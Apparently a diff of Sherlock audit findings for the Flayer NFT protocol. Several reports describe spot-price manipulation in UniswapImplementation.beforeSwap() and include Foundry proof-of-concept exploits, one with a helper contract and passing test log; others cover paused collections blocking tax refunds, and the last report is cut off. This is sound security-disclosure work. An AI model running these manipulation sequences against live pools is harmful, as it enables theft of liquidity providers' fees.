+
+ // Burn the ERC20 tokens from the caller
+ ICollectionToken collectionToken_ = _collectionToken[_collection];
+ collectionToken_.burnFrom(msg.sender, tokenIdsLength * 1 ether * 10 ** collectionToken_.denomination());
+
+ // Define our collection token outside the loop
+ IERC721 collection = IERC721(_collection);
+
+ // Loop through the tokenIds and redeem them
+ for (uint i; i < tokenIdsLength; ++i) {
+ // Ensure that the token requested is not a listing
+ if (isListing(_collection, _tokenIds[i])) revert TokenIsListing(_tokenIds[i]);
+
+ // Transfer the collection token to the caller
++ address previousOwner = collection.ownerOf(_tokenIds[i]);
+ collection.transferFrom(address(this), _recipient, _tokenIds[i]);
+
+ // Check if the transfer was successful
++ require(collection.ownerOf(_tokenIds[i]) == _recipient, "Transfer failed");
+ }
+
+ emit TokenRedeem(_collection, _tokenIds, msg.sender, _recipient);
+}
+```
\ No newline at end of file
diff --git a/031/518.md b/031/518.md
new file mode 100644
index 0000000..187f902
--- /dev/null
+++ b/031/518.md
@@ -0,0 +1,203 @@
+Large Mauve Parrot
+
+Medium
+
+# Collection tokens fees price can be manipulated in the `beforeSwap()` hook
+
+### Summary
+
+An attacker can get collection tokens stored as fees in the hook for cheaper than they should because the spot price, which can be manipulated, is used to determine the amounts to pay.
+
+### Root Cause
+
+The [UniswapImplementation::beforeSwap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L490) hook can swap native tokens for collection tokens internally. To calculate the swaps amounts the spot price is used:
+
+```solidity
+(uint160 sqrtPriceX96,,,) = poolManager.getSlot0(poolId);
+...
+(, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+@> sqrtPriceCurrentX96: sqrtPriceX96,
+ sqrtPriceTargetX96: params.sqrtPriceLimitX96,
+ liquidity: poolManager.getLiquidity(poolId),
+ amountRemaining: int(amountSpecified),
+ feePips: 0
+});
+```
+
+The spot price can be manipulated, resulting in attackers being able to get native tokens held by the hook as fees for cheaper than market value.
+
+### Internal pre-conditions
+
+1. The hook accumulated enough collection token fees to cover the costs of manipulating the price. The cost of manipulating the price depends on the fees and the amount of liquidity in the pool.
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. The hook accumulated some collection token fees.
+2. Eve swaps collection tokens for native tokens in order to lower the spot price of collection tokens. This doesn't trigger any internal swaps because internal swaps are only triggered when swapping native tokens for collection tokens.
+3. Eve swaps back all of the received native tokens for collection tokens. This triggers the internal swap. The [spot price](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L508) used by the hook is lower than it should, resulting in Eve having to pay less native tokens than she should.
+
+Lower liquidity pools and exempted users (ie. they don't pay fees to the pool) makes this attack more likely.
+
+### Impact
+
+Collection token fees stored in the hook can be bought for cheaper than expected, leading to a loss for liquidity providers as they will receive less native tokens than they should.
+
+### PoC
+
+To copy-paste in `UniswapImplementation.t.sol`:
+```solidity
+function test_Slot0Manipulation() public {
+ address alice = makeAddr("alice");
+ address eve = makeAddr("eve");
+
+ ERC721Mock erc721 = new ERC721Mock();
+ CollectionToken ctoken = CollectionToken(locker.createCollection(address(erc721), 'ERC721', 'ERC', 0));
+
+
+
+
+ //### APPROVALS
+ //-> Alice approvals
+ vm.startPrank(alice);
+ erc721.setApprovalForAll(address(locker), true);
+ ctoken.approve(address(poolSwap), type(uint256).max);
+ ctoken.approve(address(uniswapImplementation), type(uint256).max);
+ vm.stopPrank();
+ _approveNativeToken(alice, address(locker), type(uint).max);
+ _approveNativeToken(alice, address(poolManager), type(uint).max);
+ _approveNativeToken(alice, address(poolSwap), type(uint).max);
+
+ //-> Eve approvals
+ vm.startPrank(eve);
+ erc721.setApprovalForAll(address(locker), true);
+ ctoken.approve(address(uniswapImplementation), type(uint256).max);
+ ctoken.approve(address(poolSwap), type(uint256).max);
+ vm.stopPrank();
+ _approveNativeToken(eve, address(locker), type(uint).max);
+ _approveNativeToken(eve, address(poolManager), type(uint).max);
+ _approveNativeToken(eve, address(poolSwap), type(uint).max);
+
+
+
+ //### MINT NFTs
+ //-> Mint 10 tokens to Alice
+ uint[] memory _tokenIds = new uint[](10);
+ for (uint i; i < 10; ++i) {
+ erc721.mint(alice, i);
+ _tokenIds[i] = i;
+ }
+ //-> Mint an extra token to Alice
+ uint[] memory _tokenIdToDepositAlice = new uint[](1);
+ erc721.mint(alice, 10);
+ _tokenIdToDepositAlice[0] = 10;
+
+ //-> Mint 10 tokens to Eve
+ uint[] memory _tokenIdsEve = new uint[](10);
+ for (uint i=11; i < 21; ++i) {
+ erc721.mint(eve, i);
+ _tokenIdsEve[i - 11] = i;
+ }
+
+
+
+ //### [ALICE] COLLECTION INITIALIZATION + LIQUIDITY PROVISION
+ //-> alice initializes a collection and adds liquidity: 1e19 NATIVE + 1e19 CTOKEN
+ uint256 initialNativeLiquidity = 1e19;
+ _dealNativeToken(alice, initialNativeLiquidity);
+ vm.startPrank(alice);
+ locker.initializeCollection(address(erc721), initialNativeLiquidity, _tokenIds, 0, SQRT_PRICE_1_1);
+ vm.stopPrank();
+
+
+
+ //### [ALICE] ADDING CTOKEN FEES TO HOOK
+ //-> alice deposits an NFT to get 1e18 CTOKEN and then deposits 1e18 CTOKENS as fees in the UniswapImplementation hook
+ vm.startPrank(alice);
+ locker.deposit(address(erc721), _tokenIdToDepositAlice, alice);
+ uniswapImplementation.depositFees(address(erc721), 0, 1e18);
+ vm.stopPrank();
+
+
+
+ //### [EVE] DEPOSIT NFTS IN THE LOCKER
+ //-> eve deposits 10 NFTs in order to get 1e19 CTOKENS
+ vm.prank(eve);
+ locker.deposit(address(erc721), _tokenIdsEve, eve);
+
+
+
+ //### [EVE] MANIPULATE POOL PRICE AND PROFITS
+ //-> eve has 0 NATIVE and 1e19 CTOKENS
+ uint256 initialCTokenBalance = 1e19;
+ uint256 initialNativeBalance = 0;
+ assertEq(ctoken.balanceOf(eve), initialCTokenBalance);
+ assertEq(WETH.balanceOf(eve), initialNativeBalance);
+
+ //-> eve swaps 1e19 CTOKEN FOR NATIVE
+ vm.startPrank(eve);
+ poolSwap.swap(
+ PoolKey({
+ currency0: Currency.wrap(address(ctoken)),
+ currency1: Currency.wrap(address(WETH)),
+ fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
+ tickSpacing: 60,
+ hooks: IHooks(address(uniswapImplementation))
+ }),
+ IPoolManager.SwapParams({
+ zeroForOne: true,
+ amountSpecified: -int(1e19),
+ sqrtPriceLimitX96: (TickMath.MIN_SQRT_PRICE + 1)
+ }),
+ PoolSwapTest.TestSettings({
+ takeClaims: false,
+ settleUsingBurn: false
+ }),
+ ''
+ );
+ vm.stopPrank();
+
+ //-> eve has 4974874371859296482 NATIVE and 0 CTOKENS
+ assertEq(ctoken.balanceOf(eve), 0);
+ assertEq(WETH.balanceOf(eve), 4974874371859296482);
+
+ //-> eve swaps `4974874371859296482` NATIVE tokens for CTOKENS
+ vm.startPrank(eve);
+ poolSwap.swap(
+ PoolKey({
+ currency0: Currency.wrap(address(ctoken)),
+ currency1: Currency.wrap(address(WETH)),
+ fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
+ tickSpacing: 60,
+ hooks: IHooks(address(uniswapImplementation))
+ }),
+ IPoolManager.SwapParams({
+ zeroForOne: false,
+ amountSpecified: -int(WETH.balanceOf(eve)),
+ sqrtPriceLimitX96: (TickMath.MAX_SQRT_PRICE - 1)
+ }),
+ PoolSwapTest.TestSettings({
+ takeClaims: false,
+ settleUsingBurn: false
+ }),
+ ''
+ );
+
+ //-> eve has 0 NATIVE and `10576918934541439301` CTOKENS
+ assertEq(ctoken.balanceOf(eve), 10576918934541439301);
+ assertEq(WETH.balanceOf(eve), 0);
+
+ //-> eve profits `0` NATIVE and `576918934541439301`CTOKEN
+ uint256 ctokenProfit = ctoken.balanceOf(eve) - initialCTokenBalance;
+ uint256 nativeProfit = WETH.balanceOf(eve) - initialNativeBalance;
+ assertEq(ctokenProfit, 576918934541439301);
+ assertEq(nativeProfit, 0);
+ }
+```
+
+### Mitigation
+
+Use a time-weighted price average instead of the spot price.
\ No newline at end of file
diff --git a/031/559.md b/031/559.md
new file mode 100644
index 0000000..3e1e0af
--- /dev/null
+++ b/031/559.md
@@ -0,0 +1,337 @@
+Lucky Iron Sawfish
+
+High
+
+# ````UniswapImplementation.beforeSwap()```` is vulnerable to price manipulation attack
+
+### Summary
+
+In ````UniswapImplementation.beforeSwap()````, when there is undistributed fee of ````collectionToken```` and users try to swap ````WETH -> collectionToken````, these pending fee of ````collectionToken```` will be firstly swapped. The issue is that the swap here is based on ````current price```` rather than a ````TWAP````, this will make price manipulation attack available.
+
+### Root Cause
+The issue arises on ````UniswapImplementation.sol:508```` ([link](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L508)), current market price is fethced, and used for calculating swap token amount on L521 and L536. Per UniswapV4's ````delta```` accounting system, the market price can be easily manipulated even without flashloan. Therefore, attackers can do the following steps in one execution to drain risk free profit from ````UniswapImplementation````:
+(1) Sell some ````collectionTokens```` to decrease price
+(2) Swap with pool fee of ````collectionToken```` at a discount price
+(3) Buy exact ````collectionTokens```` of step1 to increase price back
+```solidity
+File: src\contracts\implementation\UniswapImplementation.sol
+490: function beforeSwap(address sender, PoolKey calldata key, IPoolManager.SwapParams memory params, bytes calldata hookData) public override onlyByPoolManager returns (bytes4 selector_, BeforeSwapDelta beforeSwapDelta_, uint24 swapFee_) {
+...
+502: if (trigger && pendingPoolFees.amount1 != 0) {
+...
+508: (uint160 sqrtPriceX96,,,) = poolManager.getSlot0(poolId); // @audit current price
+...
+513: if (params.amountSpecified >= 0) {
+...
+520: (, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+521: sqrtPriceCurrentX96: sqrtPriceX96,
+...
+526: });
+...
+531: }
+...
+534: else {
+535: (, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+536: sqrtPriceCurrentX96: sqrtPriceX96,
+...
+541: });
+...
+556: }
+...
+580: }
+
+```
+
+### Internal pre-conditions
+The ````UniswapImplementation```` has collected some fee of ````collectionToken````
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+(1) Sell some collectionTokens to decrease price
+(2) Swap with pool fee of collectionToken at a discount price
+(3) Buy exact collectionTokens of step1 to increase price back
+
+### Impact
+
+Attackers can drain risk free profit from the protocol.
+
+### PoC
+
+The following PoC shows a case that:
+(1) In the normal case, Alice swap ````1 ether```` collectionToken at a cost of ````1.11 ether```` of WETH
+(2) In the attack case, Alice swap ````1 ether```` collectionToken at only cost of ````0.41 ether```` of WETH
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.22;
+
+import {Ownable} from '@solady/auth/Ownable.sol';
+
+import {PoolSwapTest} from '@uniswap/v4-core/src/test/PoolSwapTest.sol';
+import {Hooks, IHooks} from '@uniswap/v4-core/src/libraries/Hooks.sol';
+import {IUnlockCallback} from '@uniswap/v4-core/src/interfaces/callback/IUnlockCallback.sol';
+import {StateLibrary} from "@uniswap/v4-core/src/libraries/StateLibrary.sol";
+import {TransientStateLibrary} from "@uniswap/v4-core/src/libraries/TransientStateLibrary.sol";
+import {CurrencySettler} from "@uniswap/v4-core/test/utils/CurrencySettler.sol";
+
+import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol';
+import {IERC721} from '@openzeppelin/contracts/token/ERC721/IERC721.sol';
+
+import {CollectionToken} from '@flayer/CollectionToken.sol';
+import {Locker, ILocker} from '@flayer/Locker.sol';
+import {LockerManager} from '@flayer/LockerManager.sol';
+
+import {IBaseImplementation} from '@flayer-interfaces/IBaseImplementation.sol';
+import {ICollectionToken} from '@flayer-interfaces/ICollectionToken.sol';
+import {IListings} from '@flayer-interfaces/IListings.sol';
+
+import {Currency, CurrencyLibrary} from '@uniswap/v4-core/src/types/Currency.sol';
+import {LPFeeLibrary} from '@uniswap/v4-core/src/libraries/LPFeeLibrary.sol';
+import {PoolKey} from '@uniswap/v4-core/src/types/PoolKey.sol';
+import {PoolIdLibrary, PoolId} from '@uniswap/v4-core/src/types/PoolId.sol';
+import {IPoolManager, PoolManager, Pool} from '@uniswap/v4-core/src/PoolManager.sol';
+import {TickMath} from '@uniswap/v4-core/src/libraries/TickMath.sol';
+import {Deployers} from '@uniswap/v4-core/test/utils/Deployers.sol';
+
+import {FlayerTest} from './lib/FlayerTest.sol';
+import {ERC721Mock} from './mocks/ERC721Mock.sol';
+
+import {BaseImplementation, IBaseImplementation} from '@flayer/implementation/BaseImplementation.sol';
+import {UniswapImplementation} from "@flayer/implementation/UniswapImplementation.sol";
+import {console2} from 'forge-std/console2.sol';
+
+contract AttackHelper is IUnlockCallback {
+ using StateLibrary for IPoolManager;
+ using TransientStateLibrary for IPoolManager;
+ using CurrencySettler for Currency;
+
+ IPoolManager public immutable manager;
+ PoolKey public poolKey;
+
+ struct CallbackData {
+ address sender;
+ IPoolManager.SwapParams params;
+ }
+
+ constructor(IPoolManager _manager, PoolKey memory _poolKey) {
+ manager = _manager;
+ poolKey = _poolKey;
+ }
+
+ function swap(
+ IPoolManager.SwapParams memory params
+ ) external {
+ manager.unlock(abi.encode(CallbackData(msg.sender, params)));
+ }
+
+ function unlockCallback(bytes calldata rawData) external returns (bytes memory) {
+ CallbackData memory data = abi.decode(rawData, (CallbackData));
+
+ // 1. Sell some collectionTokens to decrease price
+ IPoolManager.SwapParams memory sellParam = IPoolManager.SwapParams({
+ zeroForOne: false, // unflippedToken -> WETH
+ amountSpecified: -10 ether, // exact input
+ sqrtPriceLimitX96: TickMath.MAX_SQRT_PRICE - 1
+ });
+ manager.swap(poolKey, sellParam, "");
+
+ // 2. Swap with pool fee at a discount price
+ manager.swap(poolKey, data.params, "");
+
+ // 3. Buy exact collectionTokens of step1 to increase price back
+ IPoolManager.SwapParams memory buyParam = IPoolManager.SwapParams({
+ zeroForOne: true, // WETH -> unflippedToken
+ amountSpecified: 10 ether, // exact input
+ sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
+ });
+ manager.swap(poolKey, buyParam, "");
+
+ int256 delta0 = manager.currencyDelta(address(this), poolKey.currency0);
+ int256 delta1 = manager.currencyDelta(address(this), poolKey.currency1);
+
+ if (delta0 < 0) {
+ poolKey.currency0.settle(manager, data.sender, uint256(-delta0), false);
+ }
+ if (delta1 < 0) {
+ poolKey.currency1.settle(manager, data.sender, uint256(-delta1), false);
+ }
+ if (delta0 > 0) {
+ poolKey.currency0.take(manager, data.sender, uint256(delta0), false);
+ }
+ if (delta1 > 0) {
+ poolKey.currency1.take(manager, data.sender, uint256(delta1), false);
+ }
+ return abi.encode("");
+ }
+}
+
+contract BeforeSwapPriceManupilationAttackTest is Deployers, FlayerTest {
+ using LPFeeLibrary for uint24;
+ using PoolIdLibrary for PoolKey;
+ using StateLibrary for PoolManager;
+
+ address internal constant BENEFICIARY = address(123);
+ uint160 constant SQRT_PRICE_1 = 2**96; // 1 ETH per collectionToken
+ ERC721Mock unflippedErc721;
+ CollectionToken unflippedToken;
+ PoolKey poolKey;
+ AttackHelper attackHelper;
+
+ constructor() {
+ _deployPlatform();
+ }
+
+ function setUp() public {
+ _createCollection();
+ _initCollection();
+ _addSomeFee();
+ attackHelper = new AttackHelper(poolManager, poolKey);
+ }
+
+ function testNormalCase() public {
+ address alice = users[0];
+ _dealNativeToken(alice, 10 ether);
+ _approveNativeToken(alice, address(poolSwap), type(uint).max);
+
+ uint wethBefore = WETH.balanceOf(alice);
+ assertEq(10 ether, wethBefore);
+ uint unflippedTokenBefore = unflippedToken.balanceOf(alice);
+ assertEq(0, unflippedTokenBefore);
+
+ vm.startPrank(alice);
+ poolSwap.swap(
+ poolKey,
+ IPoolManager.SwapParams({
+ zeroForOne: true, // WETH -> unflippedToken
+ amountSpecified: 1 ether, // exact output
+ sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
+ }),
+ PoolSwapTest.TestSettings({
+ takeClaims: false,
+ settleUsingBurn: false
+ }),
+ ''
+ );
+ vm.stopPrank();
+ (uint160 sqrtPriceX96,,,) = poolManager.getSlot0(poolKey.toId());
+ // swap with fee, liquidity pool not been touched
+ assertEq(SQRT_PRICE_1, sqrtPriceX96);
+
+ // swap 1 ether collectionToken with 1.11 ether WETH
+ uint wethAfter = WETH.balanceOf(alice);
+ uint unflippedTokenAfter = unflippedToken.balanceOf(alice);
+ uint wethCost = wethBefore - wethAfter;
+ assertApproxEqAbs(1.11 ether, wethCost, 0.01 ether);
+ uint unflippedTokenReceived = unflippedTokenAfter - unflippedTokenBefore;
+ assertEq(1 ether, unflippedTokenReceived);
+ }
+
+ function testAttackCase() public {
+ address alice = users[0];
+ _dealNativeToken(alice, 10 ether);
+ _approveNativeToken(alice, address(attackHelper), type(uint).max);
+
+ uint wethBefore = WETH.balanceOf(alice);
+ assertEq(10 ether, wethBefore);
+ uint unflippedTokenBefore = unflippedToken.balanceOf(alice);
+ assertEq(0, unflippedTokenBefore);
+
+ vm.startPrank(alice);
+ attackHelper.swap(
+ IPoolManager.SwapParams({
+ zeroForOne: true, // WETH -> unflippedToken
+ amountSpecified: 1 ether, // exact output
+ sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
+ })
+ );
+ vm.stopPrank();
+
+ // swap 1 ether collectionToken with 0.41 ether WETH
+ uint wethAfter = WETH.balanceOf(alice);
+ uint unflippedTokenAfter = unflippedToken.balanceOf(alice);
+ uint wethCost = wethBefore - wethAfter;
+ assertApproxEqAbs(0.41 ether, wethCost, 0.01 ether);
+ uint unflippedTokenReceived = unflippedTokenAfter - unflippedTokenBefore;
+ assertEq(1 ether, unflippedTokenReceived);
+ }
+
+ function _createCollection() internal {
+ while (address(unflippedToken) == address(0)) {
+ unflippedErc721 = new ERC721Mock();
+ address test = locker.createCollection(address(unflippedErc721), 'Flipped', 'FLIP', 0);
+ if (Currency.wrap(test) >= Currency.wrap(address(WETH))) {
+ unflippedToken = CollectionToken(test);
+ }
+ }
+ assertTrue(Currency.wrap(address(unflippedToken)) >= Currency.wrap(address(WETH)), 'Invalid unflipped token');
+ }
+
+ function _initCollection() internal {
+ // This needs to avoid collision with other tests
+ uint tokenOffset = uint(type(uint128).max) + 1;
+
+ // Mint enough tokens to initialize successfully
+ uint tokenIdsLength = locker.MINIMUM_TOKEN_IDS();
+ uint[] memory _tokenIds = new uint[](tokenIdsLength);
+ for (uint i; i < tokenIdsLength; ++i) {
+ _tokenIds[i] = tokenOffset + i;
+ unflippedErc721.mint(address(this), tokenOffset + i);
+ }
+
+ // Approve our {Locker} to transfer the tokens
+ unflippedErc721.setApprovalForAll(address(locker), true);
+
+ // Initialize the specified collection with the newly minted tokens. To allow for varied
+ // denominations we go a little nuts with the ETH allocation.
+ assertTrue(tokenIdsLength == 10);
+ uint startBalance = WETH.balanceOf(address(this));
+ _dealNativeToken(address(this), 10 ether);
+ _approveNativeToken(address(this), address(locker), type(uint).max);
+ locker.initializeCollection(address(unflippedErc721), 10 ether, _tokenIds, _tokenIds.length * 1 ether, SQRT_PRICE_1);
+ _dealNativeToken(address(this), startBalance);
+
+ // storing poolKey
+ poolKey = PoolKey({
+ currency0: Currency.wrap(address(WETH)),
+ currency1: Currency.wrap(address(unflippedToken)),
+ fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
+ tickSpacing: 60,
+ hooks: IHooks(address(uniswapImplementation))
+ });
+
+ (uint160 sqrtPriceX96,,,) = poolManager.getSlot0(poolKey.toId());
+ assertEq(SQRT_PRICE_1, sqrtPriceX96);
+ }
+
+ function _addSomeFee() internal {
+ vm.prank(address(locker));
+ unflippedToken.mint(address(this), 1 ether);
+ unflippedToken.approve(address(uniswapImplementation), type(uint).max);
+ uniswapImplementation.depositFees(address(unflippedErc721), 0, 1 ether);
+ IBaseImplementation.ClaimableFees memory fees = uniswapImplementation.poolFees(address(unflippedErc721));
+ assertEq(0, fees.amount0);
+ assertEq(1 ether, fees.amount1);
+ }
+}
+
+```
+And the test log:
+```solidity
+2024-08-flayer\flayer> forge test --match-contract BeforeSwapPriceManupilationAttackTest -vv
+[⠢] Compiling...
+[⠊] Compiling 1 files with Solc 0.8.26
+[⠒] Solc 0.8.26 finished in 15.82s
+Compiler run successful!
+
+Ran 2 tests for test/BugBeforeSwapPriceManupilationAttack.t.sol:BeforeSwapPriceManupilationAttackTest
+[PASS] testAttackCase() (gas: 364330)
+[PASS] testNormalCase() (gas: 283375)
+Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 7.56ms (3.04ms CPU time)
+
+Ran 1 test suite in 29.01ms (7.56ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
+```
+### Mitigation
+Using TWAP, reference: https://blog.uniswap.org/uniswap-v4-truncated-oracle-hook. Or swap ````collectionToken```` to WETH immediately at fee receiving time
\ No newline at end of file
diff --git a/031/572.md b/031/572.md
new file mode 100644
index 0000000..59d1205
--- /dev/null
+++ b/031/572.md
@@ -0,0 +1,175 @@
+Sharp Blonde Camel
+
+High
+
+# Anyone steals hook fees via spot price manipulation
+
+### Summary
+
+The hook takes the [spot price](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L510) from the pool to swap (in one step) the collateral token fees. This is vulnerable to manipulation.
+
+
+### Root Cause
+
+In [UniswapImplementation.sol#L510](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L510) the price used is the spot price.
+
+
+### Internal pre-conditions
+
+There have to be fees in `amount1` (collateral token) in the pool.
+
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+The attack can be used with a flash loan if needed, but the amount to execute attack is not huge and depends on the liquidity in the pool.
+
+1. The attacker swaps collateral token to native token to increase the price of native token. This swap does not touch the fees.
+2. The attacker swaps native token to collateral token. This is exact output swap with the output amount equal to fees value. This will not make a swap in the pool, but only the "swap" on fees.
+3. The attacker swaps back the native token to collateral token to bring back the initial price and get the tokens back (return to original situation).
+
+### Impact
+
+The attacker can buy fees (`amount1`) for a very low price and swap it back to native token, effectively stealing the fees.
+
+
+### PoC
+
+Run this test as part of `UniswapImplementation.t.sol`.
+**Important:** Firstly fix the DoS bug with swapping fees (described here: #5).
+
+```solidity
+ function test_abuser_StealingFeesViaSpotPriceManipulation() public withLiquidity {
+ //@audit PoC: StealingFeesViaSpotPriceManipulation
+ // When there are fees (amount1) in the hook, one can manipulate the price to swap small amount of native token to get all fees
+
+ // Give tokens and approfe for deposit fees
+ uint256 feeAmount = 20 ether;
+ address feesDepositor = vm.addr(0x1101);
+ deal(address(unflippedToken), feesDepositor, feeAmount);
+ vm.startPrank(feesDepositor);
+ unflippedToken.approve(address(uniswapImplementation), type(uint).max);
+ uniswapImplementation.depositFees(address(unflippedErc), 0, feeAmount);
+ vm.stopPrank();
+
+ // Give WETH and approve for swaps (theft)
+ WETH.approve(address(poolSwap), type(uint).max);
+ deal(address(WETH), address(this), 20 ether);
+
+ // Give token and approve for swaps (manipulation)
+ uint256 manipulationAmount = 100 ether;
+ deal(address(unflippedToken), address(this), manipulationAmount);
+ unflippedToken.approve(address(poolSwap), type(uint).max);
+
+ PoolKey memory poolKey = _poolKey(false);
+
+ uint160 sqrtPriceX96;
+ IPoolManager.SwapParams memory swapParams;
+
+ uint256 wETHStart = WETH.balanceOf(address(this));
+ uint256 tokenStart = unflippedToken.balanceOf(address(this));
+
+ // price before manipulation
+ (sqrtPriceX96, , , ) = poolManager.getSlot0(poolKey.toId());
+ console.log("Price before manipulation:");
+ console.log(sqrtPriceX96);
+
+ // manipulate price
+ swapParams = IPoolManager.SwapParams({
+ zeroForOne: false,
+ amountSpecified: -int256(manipulationAmount),
+ sqrtPriceLimitX96: TickMath.MAX_SQRT_PRICE - 1
+ });
+
+ uint256 wETHBeforeManipulation = WETH.balanceOf(address(this));
+
+ // manipulation swap
+ poolSwap.swap(
+ poolKey,
+ swapParams,
+ PoolSwapTest.TestSettings({
+ takeClaims: false,
+ settleUsingBurn: false
+ }),
+ ''
+ );
+
+ uint256 wETHAfterManipulation = WETH.balanceOf(address(this));
+ uint wETHEarned = wETHAfterManipulation - wETHBeforeManipulation;
+
+ // price during manipulation
+ (sqrtPriceX96, , , ) = poolManager.getSlot0(poolKey.toId());
+ console.log("Price during manipulation:");
+ console.log(sqrtPriceX96);
+
+ // stealing fees
+ swapParams = IPoolManager.SwapParams({
+ zeroForOne: true,
+ amountSpecified: int256(feeAmount),
+ sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
+ });
+
+ // Action stealing swap
+ poolSwap.swap(
+ poolKey,
+ swapParams,
+ PoolSwapTest.TestSettings({
+ takeClaims: false,
+ settleUsingBurn: false
+ }),
+ ''
+ );
+
+
+ // bring back price
+ swapParams = IPoolManager.SwapParams({
+ zeroForOne: true,
+ amountSpecified: -int256(wETHEarned),
+ sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
+ });
+
+ // bring back price swap
+ poolSwap.swap(
+ poolKey,
+ swapParams,
+ PoolSwapTest.TestSettings({
+ takeClaims: false,
+ settleUsingBurn: false
+ }),
+ ''
+ );
+
+ // price after bringing back
+ (sqrtPriceX96, , , ) = poolManager.getSlot0(poolKey.toId());
+ console.log("Price after bringing back:");
+ console.log(sqrtPriceX96);
+
+ uint256 wETHEnd = WETH.balanceOf(address(this));
+ uint256 tokenEnd = unflippedToken.balanceOf(address(this));
+
+ if (tokenStart > tokenEnd) {
+ console.log("Token loss:");
+ console.log(tokenStart - tokenEnd);
+ } else {
+ console.log("Token profit:");
+ console.log(tokenEnd - tokenStart);
+ }
+
+ if (wETHEnd > wETHStart) {
+ console.log("WETH profit:");
+ console.log(wETHEnd - wETHStart);
+ } else {
+ console.log("WETH cost:");
+ console.log(wETHStart - wETHEnd);
+ }
+ }
+```
+
+
+### Mitigation
+
+1. Do not use the spot price for swapping fees or implement slippage protection.
+2. Do not compute swap in one step with the liquidity equal to the whole pool liquidity.
\ No newline at end of file
diff --git a/032/015.md b/032/015.md
new file mode 100644
index 0000000..300bcf2
--- /dev/null
+++ b/032/015.md
@@ -0,0 +1,67 @@
+Flaky Sable Hamster
+
+Medium
+
+# Paused ERC721 collection will revert cancelListings(), making loss of listingTax for users
+
+## Summary
+Paused ERC721 collection will revert `cancelListings()`, making loss of `listingTax` for users
+
+## Vulnerability Detail
+Many ERC721 tokens, including well-known projects such as `PudgyPenguins/ LilPudgys`(all supports ERC721 interfaceId ie `0x80ac58cd`), have a pause functionality inside the contract. This pause functionality will cause the `cancelListings()` call to always revert.
+
+It can be observed PudgyPenguins has paused functionality: https://etherscan.io/token/0xbd3531da5cf5857e7cfaa92426877b022e612cf8#readContract
+It can be observed LilPudgys has paused functionality: https://etherscan.io/token/0x524cab2ec69124574082676e6f654a18df49a048#readContract
+
+When cancelListings() is called, it withdraws the `tokenId` from Locker contract and `transfers` it to msg.sender along with any `unused` amount of tax(collected while listing).
+```solidity
+ function cancelListings(address _collection, uint[] memory _tokenIds, bool _payTaxWithEscrow) public lockerNotPaused {
+...
+ // Find the amount of prepaid tax from current timestamp to prepaid timestamp
+ // and refund unused gas to the user.
+@> (uint _fees, uint _refund) = _resolveListingTax(listing, _collection, false);
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+
+...
+ // Transfer the listing ERC721 back to the user
+@> locker.withdrawToken(_collection, _tokenId, msg.sender);
+ }
+...
+ }
+```
+```solidity
+ function withdrawToken(address _collection, uint _tokenId, address _recipient) public {
+ if (!lockerManager.isManager(msg.sender)) revert CallerIsNotManager();
+@> IERC721(_collection).transferFrom(address(this), _recipient, _tokenId);
+ }
+```
+
+Now the problem is, `taxRefund` amount is dependent on how much time tokenId was listed for & if listing duration is ended then no taxRefund
+```solidity
+function _resolveListingTax(Listing memory _listing, address _collection, bool _action) private returns (uint fees_, uint refund_) {
+...
+ // Get the amount of tax to be refunded. If the listing has already ended
+ // then no refund will be offered.
+ if (block.timestamp < _listing.created + _listing.duration) {
+@> refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
+ }
+...
+ }
+```
+Consider a scenario where user `listed` his tokenId paying `listingTax`, now he wanted to cancel his listings but `cancelListing()` reverted due to pause. And as we seen above `taxRefund` is calculated based on `time` tokenId is listed for & if duration is passed then no refund.
+
+As result, refund amount of user will keep `decreasing` till 0(zero)
+
+## Impact
+User will loss all his tax refund amount
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L444
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L353
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L930C2-L934C10
+
+## Tool used
+Manual Review
+
+## Recommendation
+Use a mapping that stores the timestamp when user cancelListing() & based on that timestamp, calculate tax refund amount ie decouple the NFT from cancelListing()
\ No newline at end of file
diff --git a/032/758.md b/032/758.md
new file mode 100644
index 0000000..beb6547
--- /dev/null
+++ b/032/758.md
@@ -0,0 +1,40 @@
+Muscular Pebble Walrus
+
+Medium
+
+# `Paused NFT` collections will cause users to lose taxRefunds
+
+## Summary
+`Paused NFT` collections will cause users to lose taxRefunds
+
+## Vulnerability Detail
